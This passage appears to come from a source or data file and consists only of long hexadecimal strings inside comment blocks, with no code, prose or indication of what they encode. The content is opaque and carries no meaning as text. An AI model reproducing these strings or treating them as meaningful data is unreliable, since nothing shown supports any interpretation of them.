efc974177eaaf0cd93edb194021779b7bb0bb3712c4d9ff0d187676723096fead4546f462262bb73d38c4bd0e7100d2939b58cefe96e266f20185f4d02bbd8c8c8fab34eb29fefba8253b11be826423bbd7be9d90c40b3f3e5431cf34fa702191d887ed820423b523d09e1fecac6b51d45b2af7d55c24134bcfef738bedd478d95b62b1e784c4ae3cc1ead997fb2c0e020aba1451fcdfb0355d8ec59bac637b0e5605116e2ce59a21f7695b28ee999f92ab7d55ab9f3f7bd9122be9a7aadf3c503acd0b5942ba41d82529cc1f816b36c02b4128721077034bf34d1bdd5aa87cc3b631ca9403b6811cba0e93e2c399d481c0a24aec6aee808571cc9e524a6e8e831b2e8be411b3169af0bb5ea296166b244ae02caf63cda028a6b689a4f8e120b3c6af6b6a3c05b4aa7a081010f11c17ce6d5dd22f90df1577e8941b018c974a671748bcb6e56198d96181f198dcdf0d9e9cb6e58a24a06c5a5e8bd6dc65f5783538c9004ad934453c9eac6f69eb4b5285fd312e7ef8972b892de967e7ecbd45442a38066d67c28a16222d2e22492a6aa16f1bdc10a91e679adf832b11fc255e9ae8a36636cb237dc80239a4fd7f37d01ec1b831d82a6bf63f2a4a6afb7d86004eddeedc0ecebf8a02d5f49527b274edd00be65de223c4e3e5cfa5e29f74f5da7fbab63692ab52e68871bcb30fcde62b3405aae97a97ff403d16fcd7589f46e9765270e16d693f5adecccb208f6f33c6c242347fcd61d2b701147d9f87875df41436f619b7099a8810095b0bef41e6e209eef3c31d86305494a08b340f8d392a5893fd6dd12947a81c884b07aeba9ec0d8a3a944bc05285afaa0573673976a51b03b1e9e797a356bc17c7ca6e97adca3e68c013ef0276ba97c1b3bdb0427f5fe1edfbd6a896252e5f675e0cac8246668e6a448d2fae8959188a4f9b6f930c3862f0c6c2cd99b9f87b895c68bd88532cb4526faf78631c9e7b7bd914af892ca8f3da32abe2e936831f53c6f40d17c9bae28507eabd4b69a2c9a569b87d309e58b171306fbdac88e0cad1cc09f8327292d11a597234e219401cea835f051b4e204eea824e47a34f389ba790e104d7700c4bd99035c5395a73741d9d13262deff34cc7d40341b5730e2b52fc6d210dc35de655b67ae5f02c77514470aaee7dee32bade69555ebd65c6bb6c8dbf136876fd0ea64df887c0ce34247eb4bf9ae1a1053cecfdc6a1746ef0e7e7dd47321650750a41a47148a0b166b391cac0af1501e5ccf6fbe7fb89f4fe406a28f9e66fb43b2ab9fd4eea9118c9336125471048de0bf5658708d3a031d7ce243bcbaf98ad20d84773b8bfb61be518e0a0a2e61b64d0dde414679fb2269464055f9380ef40811074f6a2624c0d3da2f00630998564d93f3e3334026b6439e2d9ff6293a47f133c4c3bbd92d296c025e33554b62645f8b9db09a0a4a5756f26d2ebfd820b388e817b96865a59f88acad8250d0faa446730033ea2a11ee6d211ad7bd0afdfa4d0dbdf102add0d56d504d70a24c2dc319a1846d7aba49b51f347505ce9ed4e1815247b46e47b2944d8e4d843ced5288d72a52fff9870621320b5627ef82f6edd0e07cdbc871e819de28fd22700ef2c8295e0c11ac664cd17188c3da179f029f9d53e42a94ce0f501203defd2773c737826bf8a9755c7ea8c850f75359958d4ae8f463ec5f2a72bc148463bad5efa501e2b70b17dd7c764e17bb0a906ac59f4d6cb3df319445b1420f307490e4b4cf692c1f11aa7d5b9892bf1f25b1b753b2f61b0f6474aa0a5bd99eb17085d79bf160d648966be14eb890fe6d38994ea91d3b578103adf0badbf4e298625524bebd2c9f4f283e328ccb93737b510fdf634eade3ca5416daeb62119da7ba2887cbc66e9f4378248f1896c90a7565a77e68c0621de277f05143639c1f9f856b95d3f308012e94430a2de3052c18a995c819172f4a2a2a0b6ce3a76b50cb8b39*/
/*76cc7e84c46e0cf045dda3c2bef868aaa0d27b537101d5e15ea51582343dcd834febe0719b6916b4d431fc671de997f1b276d6e6889c41fa047434550ccafbf2d054c5bb3f72f3f944171481404ecf4fea4b6419e87874e72e86fdf6a85b3beddd7773ff1fa1ad89b07c6ab571cd305114013012522f00de088064567094f208c0e01cf5f862a70a8b1ac2f1762fda6d42c3d5879f2dac16b76bfa9cf2bdc974d3a159fc7573afc1679d32948739f62abfe43b31df855edaadaf7e0ae5bff2f43ee8cf8926715cfd75e054ad2f511e7bbc0731affd6341f75e9a15ff83424b97df95df6dd7a74a7975ba879947e172b5c16336d6c77cf23a555536e86683ec1703300a4c1636d46306514c4562036db349c5563f5da4a4ea2083eba7c26036ac4652b641cbb33f215f11642c4abc61319d4a68ebcb1e5a74563e0cf233e602a83add7944fe6f949962b9ccc97c00522abd881d87abcfa92571a2d1623a64dfd0938500e9bf971fbf66a11c1cdbda32b57a4ae46247906de5719887e3eadc87ed51b593b404bae4f497b34b0070b094f1f5f7b8b49f662e18e2357b24c6ff09475bdc7f35b3d04605d86a0b1486c9101147780d6ad09199720dcf6f1704f6fc25e9c82632f3e19be92b7186cba58f0cfcf05d3161ee488e70f37a94d19ceef4a5efb440d3cc366349b9b0bb349c50e542dadb5c62a8f2ea13b58e83ef952282aee1baa7b2cd2392aa413a1b6bf966083ad589713222f7e1c657e1d04e9c64a23007872f7ce31c82c2fbd934e9be3f8a577b66b3d516e8db053fb4950a3e665d511a0255a133371542f97aff1345f688f3dd7d3b399a0d37390cda544dc983d0105627d2cab0cf579358d424e46c5d41ff4c4eae42135dd7f00b2145bcae159ef624fd5c6ffe0a6eecaa459f0b312bf63a7b57c979e70e7c020247d82885001aea979fdb914336dae55aa1652ca2bd1d924a7e5a25302e1ba6e27eac5ab24024e1a0575e1e1720ace2710bb1ade80572b6f800bb763ca7c0add4573c80ed932a1ed8419344c7e2dabb678dbdf7a1173140e61ba040f55046793291a346371735bd970595bdb444b2d32d921cbf12453da9bb6955219e82f4525e5a851e6db873872c57420d0fc3e223a444bc036e1e4d52e080b3feec82dc457f1522c38149a455c61b8abd3c833bb32fa980a60405b18e1fdb269485674d918fef9f07c993494a365b2558b8c3f73fe601a39b1dcb33720f565440170efa423351a294648639df51c37bf6f76c1f67dbf83e75847bf34805ba75cf8cc1ac743add16b8b158cdb2c71ca359d3b26bd820e335a4c7ab49fe2533a231233a1b66030dc8a6e9e434a48ae981bcbf5c4bb6ecafa28fe1d5100ccddfee0dffd23d729f823d6041d4f9a6e63118962d9b5b3c8969f5113e01cde593c15aa12aeefb047bd485674bfc0e1c13798e0aa556dd7f9c62e611d147c185ddda4d429634f9e3b9877a4afbb111b5e2522cad51bb12a874104d4a71a492d54acacc227d1cb040008f41561f44854d101f22743abfd5885c0ad3279cd82aa53d62a963c1f73e2ec34ea468a29d9061e3adbbe1cc56c539801a780469f5e05d2f40a83c7f535a36da785a721fc055464ed680d4ba4d0804931dbbfb2aa93b28be6de1075702a8dfb090122472e94a41f4f4d6c827addef23fa8531969367781cb127b995834828fd34683b6e555de87f08a09880f1757b9c37de988727e4cab4bce6a5b5213921c5efa1e6d31da8b9609775935952c2e298e68e21bf8e7a4bc79be34f96a0bcf670d8e006756373b1c349ff82bbe7afbe34152d84f71bbce0900c57c2fe202e64e17ac96641a9617afa6bcb423fd7ea30e091f58448ddf1a3eb0b215d3969aaffce6a4ac101f2b2ad665bab9bc0c3112effa28dbc097edd2c647ae82cb8afbdbd06fafa07dc4234f86c7d4d5f30c7bd29c9afd034028e4f9ddf34f935b14da621f6d3091c625cb628c4d634ccdae8829193d6cb434bba2a9f39c49152794d3aa8ed07a6cf3701e44dd48e1503e13d077b4df4f0e8e9860a16100d42df209fa5f4c7d9ae7bcc3978b43bdb87d065a903e81370efa8c1aa1bb3c1eec76b2d12c911d2756399e65ac7f004055ef6bdd2908de15efe6b9dd8d049cd488795460a00bba8e35e4a35713ecedea6335b5b2ca727db10bbdd5e708ce2a286f7fdfec37acd5e7bba85b31fd4c9a3e40582d97891a00898aea530a9624317eb5b6b48873129d4b137c1154f8950d308e230fd8d44a5ff106dec54c59ef2598c447e9e30bfac876fa841457a52ed892babaca48d3a3b5bf3a6f083f2754fc9281efbe8a462b0a968cd9c61bccf254de7f3cccf0f0a958489eabd280d3dd6f16b50a361329ce4f42f6da66473eb234c5b91f7dd651d47f6a160a48ad7fb88a71642e75a980856792a9e138b67748e873fed24cc10a6356aef153bd659a4134c9e0fa43b354eecd06f8a0e5114bbedaee8d39fc1f0699e2ebc5ca10353815492413317424337b80849efd7a387249c5d428c1e3559dfdc00d5895612c1f312f4c710376ea3c4b6bca360c9a3b2657754fa02438067ea5382ed14b72738c1c9b85ba33d6797651c0d2f6e77e96799423c2b530fa5bf502c56a577aaf0d9c1e964bec430d4bc6ee3fd34654df41ff266c2daeeb2528e9a5faedc46d2dbdb9342a4c3aa272fa7c51c919adfb81f7b6e72b41962784e1615a22640d16acbee66347e6438e34d553719d5205fd52ef4b5e62c5de7d02a7ac5ef596e02f721c1587985c584ef14681ca4c9a2ff93f8dde0cf1fba1ec2886eed4d9fbc312499ba4a226*/
/*a9f72fb0c61eb5a4a780bc6cdece0ea70c34d4b4a7f34a64d9f812f9e570a7c3f4a9ea6b9db206a979c5d6e5526ba33ff6cbb6a2745349c0ec8970186bc2971cf12602feb4c294c7c088ffe0e0e621b0f53447d505c0daaaf5b940fbd90ec035a0985dde5764f9c36cb32916f7222893b296f6c6cf43ff772426186b297c815055e39d624acee4f04c24987d2223c8e17ca6a23189d6e2a5ecae9f4c9094f2e6387d22f137bc6669ed3c56b3e89eb0b48e1786cec1dc185c768bfbcbe8729f1a429b9b81f427bc89f62f406b5d514c7e7e5f922b00c31d597a04973c4dc1dc86cb9f1457204a070d433e39349f2db888c98c82eee8659a4b5e956024fc7d3a5eb57f3973804f8502ccff98c152fc409b04fc91ffd05ba30aef597e802dd8108bcd723443cb22b60ba9e785c7aa316b8c9cbcfe42bff53a8ef53a3b78711ae81ac45a203f2bc7666a1074467afd583bab806b805729ac1487d66e918a1b641f9b588f039ede0f2f7ecf67b1a35bda0cc90825e7721217dab4bc1766753e533dcdfb2203e1613a8eedd787865c7cd7cd33dc37e97490a576ac5717c284fdd1882e6be7c5a5893446773841adcd0b86825508e696e9423d872a5b8bccd44fd388626860099d374f74d4e85deac48a8485f6eba0a360e9265e7d5b6a2837db98a56e5e9f36f02281f69e2e445110a04ee8908144f7bf720bf93f8801f332e8063fcd88a18d387a9827fe9f259ad4fb08f4f0f3ad03d8c0109954b61ccaa0b8f6394ce0eeab77e2d25f0f753c906367316e559f4be016b8afc61a316f999174644de3b97ad8a15230d3956084e859d25825d4b767cd9547a6dbaea1d39841e05bb4ab9905a3712a83cf0e57620a3273411b1e44efaa9555a73e27fcb9b7adf817507a9b5d122f946d256838b95c02317b9bb9da1821707c1061060eac95caa1213961a27a8dc57a3e7764a6d5c8afea8d7a1ece1a5fd87415f5e1566bcdfc9aed9526058d6c8bc0f2e3f4f4348a891806f8875db7c8f798de345c37badd4eda614c2445eb805e20ea0e680fc25cd1216030136254f2c63e7f58dc8fff8bbcbee317adf20ae4bc969a373722d21119dccf0f7d9d09616bbdd98bc6fa000714772a7b2fb04afc540fe1ba5b83e45869ba7c2bb425e6598df3cb80ca1c316ac5fcbb58d60a88255b729d471c61400f011dc0192b1df61df870f0d889665f8ce22067b324247545e2d2c93c81abeb75572a5647aaf72ec30017b09bbcf7ee2b3abcbf199240bc216984ac5033fad8843ee9314ed9d4aa4d5896e75984b36937a74f6c1347e80c01a51ac9d6ccda3c8c0c64d743eb0985cf7f178b03db69c2e852d2337b8f164f2db696f421cf454d5ccd44e1652d4836daae8f4dbb764446bc45719ffdd90374510df3481d42d656a1fe27525645039196752238f62e0093c1f1186fa0433f11fe8bd8061e7318b10f3d8d37d550ed79498fd3d8c1969d4d91e9bf856e80dc5fb83c672b7cbb4bb6a317d1e3c0be1a5f34138d19a499e8fa1639942c4e39d48973ce550c518f3ad2f37e3f599a3b7d84e3dd25456e3687d3d96ac535eca57f53fd21bc03c1670d96348006171b9fa66e65453625f1557598575b49dfb8ee3d0d5232841b157d44973b31457428733163debde0d26faa9517d172e5874e36eaa370d019233389ae351241a45c70968a851ab6003fb61b23f014d3471bbf81ff8765046205af5e42bd59708b93e28433cb80677b0d3924d636a32c969303c599c8f77d96e3c2b601c7801d7be4120b16e8173464fd601442fc4fef59f8391587f77eb8700b6418b840ffe32ee1ccbb0a7dd753b0a4b3d41574885c2ecebf49f296c8eef4404776d21387a365e09e39cf95c99feb2ce05c2816cda72d124517a17e3a172e5f2b670d0a8846826af77155d90bee2c0db532797f85dedb688f3e567ee96794595be98cb6e2bc4486f7de524995baa58f2e3cab30ca1483e5aed2e97ca274ef6a00d5b63adb33050e7e7798e67919e020617e233f2b1bf866eb4c272f80841b460001027a3efd27d1b1c6bfb567524b743769ebac451632cdc82d93725dd0bf4063295dcf06eec8ce5ee7772a4fdb76bee024bb0af98e40bd5f220c9ef71e5603eed628a95476817477d42da72dbc6e68e35d6af277bc3cb0eefd5afdb5f2f93cd13866e16e2abe359b02721919cee9522895ebff71df3e9ad62724af8bd2e4b4866921aa26023b8c4f57b07a816d64e12c0ad4aa2fdec8e0b0cce20e171f621da33ae1bc89dbba714fca1717cecb8249d4ea37af28f2cdddd0d61c43e2649fdde2a0d1fb5fb63f178b58e01a4c037dbb1e9923c7cfce379540cf1bb86c4bd6ecd3637a2ec4e1b9a46757bbba069eee495cdf914cd562e1f97e4aeec8fe47f7b1e503c4b18257ab65d590328458d28c291b01eb9d44e5bb1defe3a78c02b10cdc8e8e93c7202d163bcca9d31279f898d90ed0a4a311d664e7b1b93a90b73cbcf5a3a401934ab816ee1e93909e4c4acd641499e98d186becba287a1dbd365bb502b9d00f28a42240119728485eff6e168d3d2827d430d11581984b210ee2d6fb2118ab8b9df4a838a3e13db210c51b6b7031585075add79589176860e6b831c3f8308546654cdee7d71ad0a0d58fe62b69dd7bd695603fea6db6ffb487844c0cde3229f60039e5d0af1a6ad1ba1c73c0f6455c80dfbaf6040afdc802d579e3b5b88369ef83ee363c725f2c5216b333282a219372d1eaa69764767935c4785b0e535e3c3cdbe4b84070d82a69ec39ec814cb8a1935f9b89d1f28ff1ab0307ce37286e8375f734c8d901b138*/
/*7ed94a7743c01642f7dbb446d893a2461ce82d7953fa81b3d2c5e20e00b8b565cb96f818c7886f0389bbfd7d7c2b8275a80e5bc78a5578ab54a65963421bae8cd015726b5f071774a662affee72c56b56ecb68f8232df0f7eeb81aedd7dd88639c3ee2d7a250f02974bf70d75a6e387d7433c81abe9a557f236745f2d838521e9c368ab977e9ad626cd59396774aa026ea572b135f3cdae9c5a0c97b819ea5ec28b8955fd89b234a086eee550b488d96879b5dd329444482fbbdb26acfeb28c2b5140eb3bc51c1fc510857c303577bf4d431824116736e0068d36fc9be5c5c8a8fe69f65f47db34eed42312454025ae5976bc6f45a2a4fe01c37bf8919cf8af341b34077ca3f4b0a508e8f33eaac5689e035c28be2295c2cb1c89eadb555734fab9919a3d6f95a9fd61456d6c1e1046235b18eb7870e8c5ea39ff212bacda82bee70fc6a9c34d6a7c4a16ea0b2e870c343906c8b6cfef5a6d093865755a58df346628d6a5568fc9970426b3e092f39bf6affb8ccf135040743f110d6268969b6250d158f4da308848addc3ff5eda66ad1b61fbf7ea7cef2b2e239dc20fe5d44fc74a92fb963f5da53eb8f2ea763250b6935d99216dd5cee8d774a05a8c1f6c99ca3e5d6f9c2fe9cacf79204fb8fa770a422fcaf40d544d9b86939d28734606a164b2a7ec8404a1ddf069ec8013e4f3c73d681e6e381c81245e2f5ea2cbf09021650dd3563a8d491ead63e5025b5cf1687ae2f83c0869e83e1155c6733b261e08ee2402056562f58884e0082ab1c94d01f586941312b8c39aa52cb81bd0b3e2999fdb234d06d0dad583eaafa154ca588a62adbe710ddaf56f2b1451cd4b1c14d99ece951d25b4127e55607d5ecfeaa6cd870bed94ff5a9387678d7568a4960614061ddbc1c070e76b202d41debbd4e5a9f69d971cdca872f75da2b0fa8445119b47caba480b139af9364e9684ac3fec063639adaef2cb93227d0a99cd7bef3e463997afe66420b177f37ddcb66eb3172596c4ad76f68e9dba71921b34ed19f17d909e7fe86ab38366ebfb8563bc0e58bec4d4f3e080d8b8ba6b7b0bfb3f11767b9b996afe8e268c2e6c2859a8a9142c0ee15ed80946713a559578702e6db323a1435fb7c296386ffc841af33875072afabc9d3645a7af4273202d66c004997c863428a37a67d10ab2682b39d48f2611c6488594ecf734101836c170cacc6e5a53729ad5ad13117c8664feb9a88a134b31997f974f0ca7d07ccb68650d71b03fd2084bae2f56026b6827845aeddf664e17e6387c7268935f6e715008a38fb5f68d3b9c893b61bf632b29cf8652968c6596ffe9ad5a25063d707cde488b16eede4331c371751fffd1cdaa4286ab643383d4de68d04c6d23e18a4ab80a8380690dbbd2ae017dbcb7d21e4d68afbebab732a1b669b2e5c94531b7d5c43094980a94704dfdb064a63928cd9a42f2b8dd2ad691f96e7ac8769addb00475104c31dc65d95468d1a7bf0f3f36e847a04b21ecc501353242950ed800cad02cf08c87787c121134240cbb1e6d5ed43c710a755599c03ac3be76ecc2f14af35b90b4151366cd7e66e36c553c2e9b2a390151121afad853aac0ca8dd4c3348cae9aea52734141ad872d2aba1fa4eaa81eeb4b91b227644bf18ab9fd55f6fd4fea13f0dbdbdb52f0eed35da27193fffabd0fd9a771bf8b87aac280b4de8ced9692788aab3acc448f513496a6880d7d983e36695fa13c665f6f80bc2f7b521595c18991d5f5619a13c032c0998f5b06266d0952e1172eeee2bf691dc4d5c8003e3da335a3bf74b60c1ffbdbdac25afbc0040117738b03ec244b8569425a14703f91423aaa957d6ca4a40fad70e08461c8e24c1d1e66c21bde920a5b47c1a0849702d31e50e3b1a0e707cc6322e02df5613ca6907cb5079e2e0490de020c152337f1c6b5375b1c2829630dd04668e0011b16ce88fde6e12af3fef1e8614e31384195fc13119c9a18ec6a69ca627c0b366b605864333c9cc0256042843eca3a6136b0ebb70082e59565464fe23d475f18521935107294097e490600ad06f7c9abd083cfa08972d4bfb9011887ef22f9d9b64fcfc5dd2a69841a72c757eba8269faa2426a0efb0ee9ab38a7c2e28ecc4a93155847971520c0f4538d93c25c8c232f17f469fbfed11081df70fb00287dba777685fcc12448d949bfaa7c3ef6c368e3e3785f9f84b8bd6b8d9cca8b918e09180536ae4b98e25d71a486e4ec0b189a4fad675811143ebf309b1541663fa767e5a2b696d13ef5d1f589391fc41f84bc1cf51310b1fd8670a5bdb6091e9e02eb20ac8362b1e8411939c24b370f3d92f1a6ea8374b4a2d0a51b20dfc977d6d7c85ff2092b290f0c6d9a4c14a90880b01606550d13604b5cedb95a235f5ed715ad7458372a7a74d965b9c1fc86c05d04496495dc096d582155e7c008f020f4428d4a5fb927308c182aa4289bd529febee9bccb2756a44828c38edfe28efeee77835897fa3ddbbcf50745c2503d8e85112fd6f37d35638e3b1b7aeb715e40771319d280e01b75da3f87b8a39505be7a4bacb18eb4c085daf6b2a1d0ce3c0a78e30ea17823d0ec25283468be20a31ec60b368027e93b1dc46cb635998f77330aa7534a04e55da8369da8657a5e783df47a23ba0b3f1c3590a855e0d074292c5936583ae179263f241125fb34a1f464b5eefd7988cb3565675d0fb1e636956a6bd596d76a4da7bdfa8322ced0b48b933d8f78e91d80b48df2517289901fda07129802863858dcc81e4a1a9e1b9717f1e95d93e4b09b12e68dd5abd894ce4cfe2f8756442c2e63a95a1fcfd*/
/*39acb1c7de9cc3f5499502b8fac68df7ce8ece26130dcaf7a1345b74f84673e40a636e7e9cf4b2f33faf9c53be38c9fe4fa55975ee8b4b3215978d237a446b3374c3adc629bbac550ef8ac0c4dfb0bee1c44e7714fde538801abc5d029140d4aee9af3120a2ec78159b215bc0f47cef8905d3e5e37377e2b9f3f765ad1aea5675da911418015c5bfc8cd7ae8eb5bdebf9e121860e55111c77c0a30ab3f074a23043c9560537bc4c19dcad233856bbeb3cc02d886ef6c319e9709aa7b6d5093c895f4d1b7d05534bee6ffd74063598a16019a34855dc6dcd90b68ee099ffa9d24158eb3127554a1e3faa3a6c09318f7ebb928acfc69fb8a3779ac63aa799faeac96e1b24ff992bfb826fd902b055a1e3ffc36ba3990022836f222735653c605e682c46f8731e8e0490262687fa7f70bb0c6e49da39fbe172f940d55568e067ab09e177b7afba3bad8fabd327bb5297f94664546678fe6390bc39a7dc2c0a6e151370b05745a52e9b240b61987184ac43cec27465897fbd65af0d68dd8e28f568087b1a496525b7029b12dec0e8e597db7898d48858d1ae4b20a9df2e66e8c2bf8c81f5c8ab832f3ba960496fbde6b16e4fac9d0752492c8d995e58a41797a42c8869ea9949e60d1e737ef9490b3253ae7ed6a9ce78fa9c0d4bbf18a5724de5a14158467c5c4436a8f479a571789f30b8e9dbaec2aa04649d9db8ae5accdf4eef2ae50d218cf5bb4709b7e5d6787ceb8b65aae074607fc86d099333844206f8d755a7db8e6cad1964b8c24756136bc79ea62909415c2190e0dbb3479340b19eb1a4224bc3026b2d58d5701470df76e2f57f8a1c1c6bef9b32899648f49c57fd1e10fabc6e60a8da00d149eb66834a530284a8cbdbc8d6edcb361b5dab3eca68026579a9205af31a6f60f48bc67abe307836a78aa1c0d9550ac78dc23fdfee5f23bb64b344c3885423cba98f7850a9d74fbac18abeba95e772563df196e3ed6ca3cceb0b7323bf291421b6187c44d4d4f2b23cf2cc504087670c80eb0911dcda51c9c6b41e6b5387b1e9ea1ecd798a1aec677686861da7577eddf87442a702286f714111e73cdcd588c30bcb2c5b0753932c841e8e0bc118125d44a2821c0ac794bf2c034fa9a9d2e7e4f10d1570c2d2e3a2a00f2edf4f7977bd6f6a24a4f4f51412a696a2586eacd046d3d88fe2930baa1acd3359b2027c20eec115ac0d8732fa0a0b2a1c4b95b814bb789f3c692f7a7168610449bffb1e2e505ca7cd1c4518b999b2ab440c930cbc5f8dd91358a90774d7f7afbb364dd63bad0f49dc4ea43f520e4f6de5e37905ee1a0e1f2ec9782b0f2640443d67dab10e33328955262ccdb13ad389b072bdd2d9081efe98fb118cb326606fd2cb66665455d0961061402b04a27b72036ebb37dbdd8bede06dd84272bb9ddd60a9c0c09c39c11f38c02e0589ebae761994a3402bdba12a5594ccd56d1bee2abee52f9a7cedbcaf37b6de4cfa099f1f2db255562664ccc5b1fd412c1ff930f2644fe3a17c49e3431d66a92b3f08ca6204c402f60be90eeabf2826bc67694172d0a51b44d8f73e23f3a8b72ae86750c026de0ac277a8756bc3a98e4b57b94bea09682631bec35a074d6ffc045e9676b8083e47db809faedb6a83937c6c9f9500286c569cc4175ed12c0e0bceebd52aa9743c239d6c5530d1b9e500068810d989a1bffd305881a677ddbf1459715633009137a0728a577e01d657b2aaebc42543bcc2ef93459effbb4f9bb0ab2fc6eb0568d3a12d29b3233b10d928bc81782adf65bc514047de6786508af8bd4124bc2a76d7ee5140fd8df08778cf78fe1f7942f747312ff83b828b451800eb6873af14faef2e103e179d1661bddc7f370cf2d7c199d56f7a187e6f0c6939cbd10e67b718fed79ea83018599aed2169fab79b298b0bc7e11120e286d48242b4a51c6407218c1a6650fcf057f695e9eb64593da7429e4294454d49c1c38699466f8c5dcbbd4594c33f783cb5206c651c87ab92f744e145b886304cd40a55a4e9651b96eea67a6a5297bb247a37f1ff195359e3e4f2cf753a684b7987ab5dd870c3b141d1a701a3846c097df9f690078be42792d95ad0dba942bc9128dec47556aad3f4f468a16a5637fe736e18ddf6a25c4815d8d31df16ca4857dd7f5b54c360e5fb9b89e02820994e219ea758d3621163838a1c10d8e2b1b30f4db60a60f83f6ceac70b43b8b0b7e15601d641b8a7bb6a23324d816696dece36b6340ab3b5decf2b537bfe692ce2cc563e7bdaf0941332a502f5e0478b69dc0b35dded095ac3c0881f071fe2cf3b21cc7a2445a4bf864098ef2d3ecbfd5102b11b9beef8beb1a4dabcc1c4d64d7db2dd6d48c2579144ef5cfca2dd74556d2b6e472894b7379178478d58c494f88c4f823d18dd8714e40e3b1e2e7736faa8696653008ded135209abfca72478fe47d85ea973d83d677b79ac51346cf15ddac90706d68f328571bf6444b3719d540d752492f1a73dd96e62b7b27649d5f61bfb949952a42fe406aff155764c87e6dcbfa982190909794831d339447070e852c34a5d86adc645400197a19bdc46e69602df9597e0e3e6cb3551f96c16f484560f2dd3b5a1c7665b654220482971ce73cd670b211f8c622d746bfe0611eee02112e01416a9477db9ba476b43dc429cacef5b813a6de6c0a8c41c27c0f59314cecf1009cc9771c8241fc3032cd621da3f9e7af8fa9bacd96243005aa1000a2751c5d4aad38f0cd553c2b9118fa89b9ca4ac8b69f40550a9b8907b9746e12bf42337fa274e29836ff118e7180b86abf8498834c506da736bc064*/
/*adc6114a22a33cc6c018da85e08a0ae1378423ac2336ea5721f8272dbe5983479419daa2761fc675413db61ba97055db9dfaa4e04e981723c8664218e502f697386037bdd9d1ffa73ec6aaab3e6d0536e635ea567de227a9dcdc411371725896017f089f3136015268e44cd311a336eaa035e9cad2b65d3ee16f4a9f339ba9d5684526f8fa5c5c5b6ba5a0caf041ac1636747866234c684728ca2d7aa782aa58ea221a5037a6dd2f28210b3d844e4a866f1bccd90e5be719e33b61876f2a543a595bfb1771f4746403ad789cba49ad510762cbb71f432dc1e6d16aad66b38bc0faf96f567ef0c79ec1f6acb0e0cf5edd297af52d968c76e7d1ae67c4bbf6477cecdb010aba6094b055f6a866a70e2c2e813d8647be6de5ea69f5780ef76efcd6afa67195f0c9607297a3b074a04c7d5905e887c1ce249d9b4cc30745abb6318423d14c75920cd3753a9b565e8c963ab48fec1d2af1737f7265f98c9f5279249245b68490a1fbbc437212df88f2d479e8a978790d58dfd3330aaf34f0f10f125ed139510ef3e11cd7d6a6e2a0bc24716bd41ba3024c0fa607749a7d7cd0a8d223e4a0bb3807b875a7f8f10f6625160caa292080795d30f49e966e61a85655c6c4e5ff23dc0403ffeb1d49b864d9bdc64608b265aa3a63cd71118f5fc3a688c981442ec1dec4bae26e037b290fd36e774b04c726b6bef627c5e2b78f16754007e99afdedbd25733f4cb6ad982c725f9e5e3cf5a5ca3109904bbc4250ca7336e626a6c38b53cd369a1c62f147c86ca304b5ea2adb00b6f5c06bd3f993b221d15ed4e5e49d569f708519a507d509f454615268d98ac247ab68b630c58e6939fb3292f17c776e2c931c420fe81e4069d9125c3c1d3ee3cc3b2f187bd5e6b1280bba5c84aacaf8856383b4cb20353e344e61566d849e3f7cebfee832d31c306da51254b3887b4e71418667e47267fe52883021704d2df6692e7a236265719fdd7b5a01512908a0412b1759cbc7ec4b4d09dddcf8aeea97abd84576ffd5bb6c67799c06cf47512d383d640c3a8d0d9a69227c241b04943833bc5fe69344fed2956ac9fecede08415a8ff0d40acb32b4da481aef167f4fcb9381b5932ff49b0ed2c580dd32887a01bd838f620c364b7b93b01561a448501b2fa7c87746482232c86d7e8f74d9086c08da3c5eaff4e62aa0a81b190a3cb752c377da80752bc4224afbd17bf76650f671eb4bf2156860b97d41312ca20d74a95a05ef8bc2582c82a31c21a5ad7a2be2de50e950de99332f99390024ea714e9ce49cb6af5ce4166f5996340bcb7872b57350045b26c2b2d58a1c9d57d1749e6a59e500a6036066dca1c75cdf3f269ac7420290c31f3463b03e469fae127acc36a2968ae18fa52dc5479755bf89335e77f91cd03222c0c957ba6fa6a31d46223d551c35ce88a31b5d3109c52458ef223ab92c06819c9ff8819e133af71bb58dff57c85afd73cf683beefdbc5a6975a433f5e8d11f58c2ba9ad832c7f30befb1ccddd9c8235953e754148f29aebdc30fa679617d4a422b38ed0417665527c6b209eae64895945d54aa8e1c26fb2adf4c7e748910855f1ac315b8e4af61dfde312d7da9bb10c3cd3d025ed3476e1b736b4a7107e702b34c60ef25e0328823a860c46a7b0f7cc6d910642e4057c0d9f31b171b6c74e0bdca7af3599e01b993e66389dbbc0591f5b6354c0bdd315118cc8a5b6254647920d7c4aab572fc3d115be94461b6086a1766b52baa57910749df2e96aff591b4ee27fd996fe0bdf102a5f6fd746db81dd46e86a3dc2f0f18f5d0a522f23ac425648054a9ecf59ae8801953974490ded64f61dd5a79d8bf47178782ecb40fb1699923305154675483aa6ba71f66738fc345b6791d7726f4dfdd4cc8fb6d4998c156afc1329a0218602bb4292f2f96c2de1fe43ec58ad4ffaac71c1adbafcbdd9e3575264d493b29fde816e73d08d3c5c3f6abf46701be4a21526d01124871565a899ad39f4998ce8d264e69b0bb45b6157f9dd2748597c30b2d16cc430cb478285b304957a6b50444ab24b5ad9bd886ce213715f3f9c8bbbfa43cb5d9de4c2d40046be5b96f8dd92e6850d0132538526198ba2ded9abc1a2e8874fffb9a3ff3fd61a86c764af82338db1eef87e9f1c713def5ccda9422af5723c70aec2305866aeff6638ff33684ce68b3a9c884115e1e902827e333a8e2667e7fd9358442307336104f6d80354f78bcabc9c08d7ef83c3fa3a9656de8f9a266de690e5f476789e3aebbd17736c344ed039c49826998ec498ba25f85af48f294ac80d2e878e9a633224b740d893774e04b99a1fb7811fbcea7086ac28b8eddaf5741758e4960653b4b692cecc51263b37bf8a525271738292bbfcfb7b0f174219479ea2efb077aac8356c480829f776d5221a1dee8056070b74ee0e21d72df2e6d3442ccaed2893185317dc2e7eb5ffb9bd34dd8b420046e40d305282e2c8e1c50c9d143b317a62e40d18011d344a60e97e85fffa008e37efa0f5c39630a2abcce0fd742b450b6dfbd43c90cfdff5784d21d2eac1e7e6690a7b878d7e1deddca44ccef9f780b22f5c861e5f7a5bc03a8cf6e5581942803b58895c74a99e6ddfc206b6a8b3e0ab4e3602fcee40a7fbb163f8ef0e1fdb02da5959f546cad50ff9898b9e3561962374e70547e9cdb79327e2fc31cb49a27fbdf81f29b9419c6f2bd0ae5ea161ad02ba30db6c9147692166586af5a1af41d0f8c4ee49bf19c5fd9bb16d52d5865d1bdaadda40ccbe8d515cd23953a812105e76316dd52d8268e58125549c1a1579c42326d2f322e0dae45*/
